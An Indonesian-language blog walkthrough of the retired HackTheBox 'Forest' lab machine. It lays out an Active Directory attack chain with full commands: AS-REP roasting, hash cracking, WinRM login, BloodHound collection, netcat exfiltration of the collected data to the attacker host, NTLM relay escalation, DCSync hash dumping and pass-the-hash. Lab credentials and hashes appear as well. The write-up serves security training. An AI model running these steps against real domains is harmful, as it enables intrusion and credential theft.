HACKTHEBOX WALKTROUGH

Forest Machines

CVE-CWE N/A (Without Metasploit)

Dimas Kusuma
5 min readJan 13, 2021

--

Trimakasih sudah meluangkan waktu untuk membaca artikel ini. Saat ini penulis menghadapi mesin retired HTB “Forest” yang dimana total ada 72 mesin retired setelah penulis memperbarui list target penulis yang terdapat pada list netsecfocus, dan penulis akan menempuh list target tersebut dan di dokumentasikan di akun medium ini.

Semoga pembaca semakin diberkahi dan ditingkatkan keilmuannya, serta selalu tercapai setiap tujuan dan cita-citanya atas Kehendak-Nya, juga yang sedang menempuh sertifikasi OSCP semoga tercapai dan sukses total, Aamiin. Full list mesin retired HTB oleh netsecfocus dapat di akses disini.

Reconnaissance

Penulis memulai dengan melakukan reconnaissance terhadap server target menggunakan nmap.

Gist 1

Notes :

  • Line 11 (Port 88),Line 19 (Port 3268) = Ketika port 88 kerberoas dan port 3268 LDAP open, maka sudah dipastikan bahwa pada windows server target berjalan Active Directory.
  • Line 15 (Port 445) = Pada port ini dapat berjalan windows file sharing, namun perlu di enum lebih lanjut oleh penulis.
  • Line 71, Line 74 (Port 5985, Port 47001) = Bagian ini merupakan winrm, dimana apabila penulis sudah mengetahui credentials maka penulis dapat login pada service ini menggunakan evil-winrm.

Enumeration

Berdasarkan notes pada bagian reconnaissance di atas, maka penulis akan melakukan enumeration lanjut pada server target menggunakan enum4linux.

# enum4linux 10.10.10.161
Gambar 1
Gambar 2

Diketahui pada Gambar 2 list user dari kerberoas.

Kemudian penulis mencoba melakukan teknik KRB_AS_REP Roasting untuk mendapatkan hash, teknik KRB_AS_REP Roasting dapat dilakukan apabila domain user tidak memiliki Kerberos preauthentication yang enable.

Penulis melakukan KRB_AS_REP menggunakan salah satu script milik python impacket, dan melakukan percobaan ke semua user kerberos yang penulis temukan dari proses enum menggunakan enum4linux.

Gist 2
# for users in $(cat /tmp/user-kerberos.txt) ; do python2 /opt/impacket/examples/GetNPUsers.py htb.local/${users} -no-pass ; done
Gambar 3
$krb5asrep$23$svc-alfresco@HTB.LOCAL:1867c48afade83f2140b4fd21c61bcb9$6e32940d3a4df58111786a55579d9fa956f3a3b86f00d429c35756eb4bfc0959d577c20df58a1309144f80e7453ee407752bf80bacd74df81799b95abd6727f63b110e162cc1d3da0f0d9472c68f25b0916169b6d40bf547e7c6023590e86c447060a67f559fd484a3a1bb91623060810f7d4a402e6f5014c899e5aa0580422424172e5fe87a972ef281486ceac1e972abb670a884281f893b53bdec20037f9fa5baeead0ba27417d5439c311caecfc769c774b69e16baf878aaa681afa63df3ee3fccc1f28548b497bfdf37ae0a75e96e602dec139eb6a87f3d534bd1b1e3d87ebb58a023bc

Diketahui pada Gambar 3 bahwa user alfresco tidak memiliki kerberos preauthenticated yang enable.

Initial Shell

Untuk mendapatkan inital shell sebagai pijakan pertama, penulis hanya perlu melakukan cracking terlebih dahulu terhadap hash yang sudah didapatkan dari proses KRB_AS_REP menggunakan wordlist rockyou.txt .

# john alfresco-pass -w=/usr/share/wordlists/rockyou.txt
Gambar 4

Penulis mendapatkan bahwa password dari user alfresco adalah s3rvice .

Penulis hanya perlu melakukan login melalui service winrm dengan credentials alfresco.

# evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
Gambar 5

Penulis mendapatkan initial shell melalui user svc-alfresco.

Privilege Escalation

Dalam tahapan privilege escalation penulis terlebih dahulu akan melakukan Reconnaissance Active Directory untuk melihat access control list yang terdapat pada Active Directory di server target.

Untuk melakukan Reconnaissance Active Directory pada server target, penulis menggunakan sharphound.exe yang terlebih dahulu penulis pindahkan ke server target mengunakan pythom smb server.

Gambar 6

Menjalankan sharphound.exe pada windows server target.

.\SharpHound.exe -c all -d htb.local --ldapusername svc-alfresco --ldappassword s3rvice --domaincontroller 10.10.10.161
Gambar 7

Kemudian penulis harus memindahkan file hasil Reconnaissance Active directory menggunakan sharphound menggunakan ncat.

Sebelum itu penulis memindahkan nc.exe yang terdapat di localhost penulis ke windows server target melalui python smb server.

Gambar 8

Kemudian penulis memindahkan 20201101215850_BloodHound.zip ke localhost penulis menggunakan ncat.

cmd /c 'nc.exe 10.10.14.3 888 < 20201101215850_BloodHound.zip'
Gambar 9

Lalu dilanjutkan dengan membaca 20201101215850_BloodHound.zip di aplikasi bloodhound yang sebelumnya sudah penulis install di localhost penulis.

# neo4j console# bloodhound
Gambar 10

Notes :

1. GenericAll :

GenericAll on User : Kita dapat mengatur ulang kata sandi pengguna tanpa mengetahui kata sandi saat ini

GenericAll on Group : Secara efektif, ini memungkinkan kita untuk menambahkan diri kita sendiri (pengguna yang masih clean) ke grup Admin Domain:net group "domain admins" spotless /add /domain

GenericAll / GenericWrite kita dapat menetapkan SPN pada akun target, meminta TGS, lalu ambil hash dan kerberoastnya.

2. WriteDACL :

Untuk menyalahgunakan WriteDacl ke objek domain, Anda dapat memberikan hak istimewa DcSync kepada diri Anda sendiri. Dimungkinkan untuk menambahkan akun tertentu sebagai mitra replikasi domain dengan menerapkan hak diperpanjang berikut mereplikasi perubahan direktori / mereplikasi perubahan direktori semua.

Melakukan Relay

ntlmrelayx merelay kredensial yang diambil ke LDAP pada pengontrol domain, menggunakannya untuk membuat akun mesin baru, mencetak nama dan sandi akun, dan mengubah hak delegasi.

# python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -t ldap://htb.local --delegate-access --no-smb-server -wh attacker-wpadD
Gambar 11

Membuat user baru dengan nama user “dimas”

net user dimas password /add /domain

Lalu menjadikan user “dimas” sebagai group “Exchange Windows Permissions”

net group "Exchange Windows Permissions" /add dimas
Gambar 12

PrivExchange attack dengan menjadikan user dimas sebagai Domain Admin melalu penyalahgunaan exchange.

# python /opt/impacket/examples/ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user dimas
Gambar 13

Lalu inilah saatnya penulis menjalankan secretsdump, pengguna sekarang dapat melakukan dcsync dan mendapatkan hash NTLM pengguna lain.

# python /opt/impacket/examples/secretsdump.py htb.local/dimas:password@10.10.10.161
Gambar 14
Gist 3

Setelah penulis berhasil melakukan dump terhadap hash dari semua user, selanjutnya penulis hanya perlu login shell menggunakan psexec.

# python /opt/impacket/examples/psexec.py Administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Gambar 15

Penulis berhasil mendapatkan administrator.

Kesimpulan

  1. Ini mesin windows terbaik untuk hackthebox di category level easy menurut penulis, dikarenakan adanya case active directory attack beserta cara melakukan privilege escalation berdasarkan mapping ACL.
  2. Ini merupakan real case, dalam beberapa kasus di dunia nyata pada instansi tertentu terdapat Active Directory yang masih belum di hardening sehingga infrastruktur mereka dapat di exploitasi oleh peretas tanpa disadari sebelumnya oleh staff IT terkait.

Reference

  1. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#krb_as_rep-roasting
  2. https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/
  3. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#tools
  4. https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
  5. https://blog.fox-it.com/2017/05/09/relaying-credentials-everywhere-with-ntlmrelayx/
  6. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#pass-the-hash

Target

44 mesin lagi !

--

--